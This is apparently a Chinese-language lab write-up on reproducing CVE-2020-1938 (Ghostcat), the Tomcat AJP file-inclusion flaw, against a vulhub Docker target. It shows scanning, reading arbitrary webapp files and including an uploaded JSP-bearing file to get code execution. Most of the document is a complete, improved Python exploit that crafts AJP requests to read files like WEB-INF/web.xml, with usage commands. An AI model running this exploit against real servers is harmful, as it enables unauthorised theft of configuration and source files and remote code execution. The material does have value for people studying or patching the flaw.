CVE-2020-1938(tomcat 文件包含漏洞)

影响版本

  • Apache Tomcat 9.x < 9.0.31
  • Apache Tomcat 8.x < 8.5.51
  • Apache Tomcat 7.x < 7.0.100
  • Apache Tomcat 6.x

apacheTomcat 会开启AJP协议与其他web服务器进行交互,这个漏洞是Tomcat AJP协议有缺陷导致的,攻击者可通过构造特定参数读取webapp目录下的任意文件,如:webapp 配置文件或源代码等

环境准备

可以直接在虚拟机上装docker,拉取vulhub镜像

photo0

进入tomcat/CVE-2020-1938 ,利用compose

1
2
3
4
docker compose up -d 开启容器
docker compose ps 可以查看端口
nmap 靶机地址 可以看开放了哪些端口
eg : nmap 192.168.216.131

这里看到开放了8080的http窗口,还有8009的ajp端口

现在可以去访问

1
192.168.216.131:8080

看到这个页面说明环境开启成功

漏洞利用(exp文件在末尾)

对这个漏洞这里是直接利用exp进行复现的

1
2
3
4
5
6
7
8
9
10
11
12
exp 使用方法
# 读 WEB-INF/web.xml(默认路径)
python exp.py 192.168.1.10

# 指定文件并落盘(读二进制时务必用 -o,否则 stdout 会是原始字节)
python exp.py 192.168.1.10 -f WEB-INF/web.xml -o web.xml

# 目标 context 不是 ROOT,或 Tomcat >= 9.0.31 开了 secret
python exp.py 192.168.1.10 -u /docs --secret 你的secret

# 换 AJP 端口 / 调超时
python exp.py 192.168.1.10 -p 8019 --timeout 15

Apache Tomcat任意文件读取漏洞和命令执行漏洞源码分析(CVE-2020-1938)_tomcat ajp任意文件读取漏洞-CSDN博客这里有完整的源码分析

尝试利用exp读取tomcat文件

状态值200 说明成功读取到文件了

我们进入根目录中输入其他文件看看能否读出

1
2
docker compose exec tomcat bash 
进入根目录

写入一个文件1.txt

1
2
尝试读取 
python exp.py 192.168.216.131 -f 1.txt

发现状态值为200 读取成功并且将内容“11111“输出

现在已经实现了任意文件读取

假设我们通过文件上传漏洞上传了jsp脚本的txt文件,来尝试文件包含进行远程代码执行(rce)

这里我们直接写入文件

使用exp文件对其进行编译并且运行

可以看到,这里直接输出的是”hello”说明进行编译了

最后看看日志

使用EXP通过AJP协议读取,远程读取文件为/asdf,远程代码执行(RCE)为/hissec,状态码200为成功。

附加的exp源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
#!/usr/bin/env python
# CNVD-2020-10487 / CVE-2020-1938 Tomcat-Ajp lfi
# by ydhcui
#
# 修订说明(在原 PoC 基础上修复,功能不变,仍是文件读取):
# 1. pack_string 按 UTF-8 字节数计算长度(原按字符数,路径含中文时会打包错位)
# 2. AJP 包头/长度字段改用无符号(原 ">bbh",请求过大时 struct.error)
# 3. socket 增加超时,端口不通/对端不回包时不再永久阻塞
# 4. 支持 AJP connector 的 secret(Tomcat >= 9.0.31 默认 secretRequired="true")
# 5. 校验响应 magic、去掉 assert,出错时给出可读的原因
# 6. 正文块不再把块尾的 \0 混进数据;输出二进制安全,支持 -o 落盘
# 7. 修复 --rce 的 type=bool 坑、save_cookies 里 self.headers 的笔误
#
# 仅用于授权测试 / 本地靶场。

import argparse
import base64
import io
import socket
import struct
import sys
from pathlib import Path


class AjpProtocolError(Exception):
"""AJP 协议或连接层面的异常。"""


# Some references:
# https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html
def pack_string(s):
if s is None:
return struct.pack(">H", 0xFFFF) # AJP 的 null string 标记
raw = s.encode("utf-8") if isinstance(s, str) else s
return struct.pack(">H", len(raw)) + raw + b"\x00"


def unpack(stream, fmt):
size = struct.calcsize(fmt)
buf = stream.read(size)
if len(buf) != size:
raise AjpProtocolError("连接被提前关闭:期望 %d 字节,实际读到 %d" % (size, len(buf)))
return struct.unpack(fmt, buf)


def unpack_string(stream):
size, = unpack(stream, ">H")
if size == 0xFFFF: # null string
return None
raw, = unpack(stream, "%ds" % size)
stream.read(1) # 结尾的 \0
return raw.decode("utf-8", "replace")


class AjpBodyRequest(object):
# server == web server, container == servlet
SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
MAX_REQUEST_LENGTH = 8186

def __init__(self, data_stream, data_len, data_direction=None):
self.data_stream = data_stream
self.data_len = data_len
self.data_direction = data_direction

def serialize(self):
data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH)
if len(data) == 0:
return struct.pack(">BBH", 0x12, 0x34, 0x00)
else:
res = struct.pack(">H", len(data))
res += data
if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER:
header = struct.pack(">BBH", 0x12, 0x34, len(res))
else:
header = struct.pack(">BBH", 0x41, 0x42, len(res))
return header + res

def send_and_receive(self, sock, stream):
while True:
data = self.serialize()
sock.send(data)
r = AjpResponse.receive(stream)
while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS:
r = AjpResponse.receive(stream)

if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4:
break


class AjpForwardRequest(object):
_, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(
28)
REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE,
'TRACE': TRACE}
# server == web server, container == servlet
SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
COMMON_HEADERS = ["SC_REQ_ACCEPT",
"SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE",
"SC_REQ_AUTHORIZATION",
"SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE",
"SC_REQ_COOKIE2",
"SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT"
]
ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert",
"ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"]

def __init__(self, data_direction=None):
self.prefix_code = 0x02
self.method = None
self.protocol = None
self.req_uri = None
self.remote_addr = None
self.remote_host = None
self.server_name = None
self.server_port = None
self.is_ssl = None
self.num_headers = None
self.request_headers = None
self.attributes = None
self.data_direction = data_direction

def pack_headers(self):
self.num_headers = len(self.request_headers)
res = struct.pack(">H", self.num_headers)
for h_name in self.request_headers:
if h_name.startswith("SC_REQ"):
code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1
res += struct.pack("BB", 0xA0, code)
else:
res += pack_string(h_name)

res += pack_string(self.request_headers[h_name])
return res

def pack_attributes(self):
res = b""
for attr in self.attributes:
a_name = attr['name']
code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1
res += struct.pack("B", code)
if a_name == "req_attribute":
aa_name, a_value = attr['value']
res += pack_string(aa_name)
res += pack_string(a_value)
else:
res += pack_string(attr['value'])
res += struct.pack("B", 0xFF)
return res

def serialize(self):
res = struct.pack(">BB", self.prefix_code, self.method)
res += pack_string(self.protocol)
res += pack_string(self.req_uri)
res += pack_string(self.remote_addr)
res += pack_string(self.remote_host)
res += pack_string(self.server_name)
res += struct.pack(">H", self.server_port)
res += struct.pack(">?", self.is_ssl)
res += self.pack_headers()
res += self.pack_attributes()
if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER:
header = struct.pack(">BBH", 0x12, 0x34, len(res))
else:
header = struct.pack(">BBH", 0x41, 0x42, len(res))
return header + res

def parse(self, raw_packet):
stream = io.BytesIO(raw_packet)
self.magic1, self.magic2, data_len = unpack(stream, ">BBH")
self.prefix_code, self.method = unpack(stream, ">BB")
self.protocol = unpack_string(stream)
self.req_uri = unpack_string(stream)
self.remote_addr = unpack_string(stream)
self.remote_host = unpack_string(stream)
self.server_name = unpack_string(stream)
self.server_port, = unpack(stream, ">H")
self.is_ssl, = unpack(stream, ">?")
self.num_headers, = unpack(stream, ">H")
self.request_headers = {}
for i in range(self.num_headers):
code, = unpack(stream, ">H")
if code > 0xA000:
h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001]
else:
h_name, = unpack(stream, "%ds" % code)
stream.read(1) # \0
h_name = h_name.decode("utf-8", "replace")
h_value = unpack_string(stream)
self.request_headers[h_name] = h_value

def send_and_receive(self, sock, stream, save_cookies=False):
res = []
sock.sendall(self.serialize())
if self.method == AjpForwardRequest.POST:
return res

r = AjpResponse.receive(stream)
if r.prefix_code != AjpResponse.SEND_HEADERS:
raise AjpProtocolError(
"期望 SEND_HEADERS,收到 prefix_code=%d。"
"常见原因:请求的 context/URI 不存在、AJP secret 不匹配、目标端口不是 AJP" % r.prefix_code)
res.append(r)
if save_cookies and 'Set-Cookie' in r.response_headers:
self.request_headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie']

# read body chunks and end response packets
while True:
r = AjpResponse.receive(stream)
res.append(r)
if r.prefix_code == AjpResponse.END_RESPONSE:
break
elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK:
continue
else:
raise AjpProtocolError("意外的响应包:prefix_code=%d" % r.prefix_code)

return res


class AjpResponse(object):
_, _, _, SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7)
COMMON_SEND_HEADERS = [
"Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified",
"Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate"
]

def parse(self, stream):
# read headers
self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHB")
if self.magic != 0x4142:
raise AjpProtocolError("AJP 响应 magic 错误:0x%04x(应为 0x4142)" % self.magic)

if self.prefix_code == AjpResponse.SEND_HEADERS:
self.parse_send_headers(stream)
elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK:
self.parse_send_body_chunk(stream)
elif self.prefix_code == AjpResponse.END_RESPONSE:
self.parse_end_response(stream)
elif self.prefix_code == AjpResponse.GET_BODY_CHUNK:
self.parse_get_body_chunk(stream)
else:
raise AjpProtocolError("未知的响应包类型:%d" % self.prefix_code)

def parse_send_headers(self, stream):
self.http_status_code, = unpack(stream, ">H")
self.http_status_msg = unpack_string(stream)
self.num_headers, = unpack(stream, ">H")
self.response_headers = {}
for i in range(self.num_headers):
code, = unpack(stream, ">H")
if code <= 0xA000: # custom header
h_name, = unpack(stream, "%ds" % code)
stream.read(1) # \0
h_name = h_name.decode("utf-8", "replace")
else:
h_name = AjpResponse.COMMON_SEND_HEADERS[code - 0xA001]
h_value = unpack_string(stream)
self.response_headers[h_name] = h_value

def parse_send_body_chunk(self, stream):
self.data_length, = unpack(stream, ">H")
self.data = stream.read(self.data_length)
stream.read(1) # 块尾的 0,单独吃掉,不要混进正文

def parse_end_response(self, stream):
self.reuse, = unpack(stream, "b")

def parse_get_body_chunk(self, stream):
rlen, = unpack(stream, ">H")
return rlen

@staticmethod
def receive(stream):
r = AjpResponse()
r.parse(stream)
return r


def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET, server_port=80):
fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)
fr.method = method
fr.protocol = "HTTP/1.1"
fr.req_uri = req_uri
fr.remote_addr = target_host
fr.remote_host = None
fr.server_name = target_host
fr.server_port = server_port
fr.request_headers = {
'SC_REQ_ACCEPT': 'text/html',
'SC_REQ_CONNECTION': 'keep-alive',
'SC_REQ_CONTENT_LENGTH': '0',
'SC_REQ_HOST': target_host,
'SC_REQ_USER_AGENT': 'Mozilla',
'Accept-Encoding': 'gzip, deflate, sdch',
'Accept-Language': 'en-US,en;q=0.5',
'Upgrade-Insecure-Requests': '1',
'Cache-Control': 'max-age=0'
}
fr.is_ssl = False
fr.attributes = []
return fr


class Tomcat(object):
def __init__(self, target_host, target_port, timeout=8.0, secret=None):
self.target_host = target_host
self.target_port = target_port
self.secret = secret

try:
self.socket = socket.create_connection((target_host, target_port), timeout=timeout)
except OSError as e:
raise AjpProtocolError("连接 %s:%d 失败:%s" % (target_host, target_port, e))
self.socket.settimeout(timeout)
self.stream = self.socket.makefile("rb", buffering=0)

def close(self):
try:
self.stream.close()
except Exception:
pass
try:
self.socket.close()
except Exception:
pass

def perform_request(self, req_uri, headers=None, method='GET', user=None, password=None, attributes=None):
self.req_uri = req_uri

method_code = AjpForwardRequest.REQUEST_METHODS.get(method.upper())
if method_code is None:
raise ValueError("不支持的请求方法:%s" % method)

self.forward_request = prepare_ajp_forward_request(self.target_host, req_uri, method=method_code)

attrs = list(attributes or [])
if self.secret:
attrs.append({'name': 'secret', 'value': self.secret})

print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri),
file=sys.stderr)
if user is not None and password is not None:
token = base64.b64encode(("%s:%s" % (user, password)).encode()).decode()
self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = 'Basic ' + token
for h in (headers or {}):
self.forward_request.request_headers[h] = headers[h]
self.forward_request.attributes.extend(attrs)

responses = self.forward_request.send_and_receive(self.socket, self.stream)
if len(responses) == 0:
return None, None
snd_hdrs_res = responses[0]
data_res = responses[1:-1]
print("HTTP %d %s" % (snd_hdrs_res.http_status_code, snd_hdrs_res.http_status_msg), file=sys.stderr)
if len(data_res) == 0:
print("No data in response. Headers:%s\n" % snd_hdrs_res.response_headers, file=sys.stderr)
return snd_hdrs_res, data_res


'''
javax.servlet.include.request_uri
javax.servlet.include.path_info
javax.servlet.include.servlet_path
'''


def emit(body, output=None):
"""二进制安全地输出正文。"""
if output:
Path(output).write_bytes(body)
print("[+] 已写入 %s(%d 字节)" % (output, len(body)), file=sys.stderr)
return
try:
sys.stdout.write(body.decode("utf-8"))
except (UnicodeDecodeError, UnicodeEncodeError):
print("[!] 正文不是可打印的 UTF-8,按原始字节写到 stdout(建议用 -o 落盘)", file=sys.stderr)
sys.stdout.flush()
sys.stdout.buffer.write(body)
sys.stdout.buffer.flush()


def main():
parser = argparse.ArgumentParser(
description="CVE-2020-1938 / CNVD-2020-10487 Tomcat AJP 文件读取(仅限授权测试)")
parser.add_argument("target", type=str, help="Hostname or IP to attack")
parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)")
parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml',
help="file path :(WEB-INF/web.xml)")
parser.add_argument("-u", '--uri', type=str, default='/hissec',
help="目标上真实存在的 context 路径(默认 /hissec)")
parser.add_argument("-o", '--output', type=str, default=None,
help="把响应正文写入文件(二进制安全)")
parser.add_argument("--secret", type=str, default=None,
help="AJP connector 的 requiredSecret")
parser.add_argument("--timeout", type=float, default=8.0, help="socket 超时秒数(默认 8)")
parser.add_argument('--rce', action='store_true',
help="占位模式:把请求 URI 换成 *.jsp(真正的 RCE 还需要磁盘上已有可被 JspServlet 编译的文件)")
args = parser.parse_args()

uri = args.uri + (".jsp" if args.rce else "")
if args.rce:
print("[!] --rce 只是把 URI 换成 %s,并不会让 include 的文件被执行;"
"Ghostcat 的 RCE 需要目标磁盘上已存在(或你能先落地)包含 JSP 代码的文件。" % uri,
file=sys.stderr)

t = None
try:
t = Tomcat(args.target, args.port, timeout=args.timeout, secret=args.secret)
_, data = t.perform_request(uri, attributes=[
{'name': 'req_attribute', 'value': ['javax.servlet.include.request_uri', '/']},
{'name': 'req_attribute', 'value': ['javax.servlet.include.path_info', args.file]},
{'name': 'req_attribute', 'value': ['javax.servlet.include.servlet_path', '/']},
])
except (AjpProtocolError, OSError, ValueError) as e:
print("[!] %s" % e, file=sys.stderr)
return 1
finally:
if t is not None:
t.close()

body = b"".join(d.data for d in (data or []) if d.prefix_code == AjpResponse.SEND_BODY_CHUNK)
if not body:
print("[!] 没有读到任何正文,先看上面的 HTTP 状态码再排查", file=sys.stderr)
return 2
emit(body, args.output)
return 0


if __name__ == "__main__":
sys.exit(main())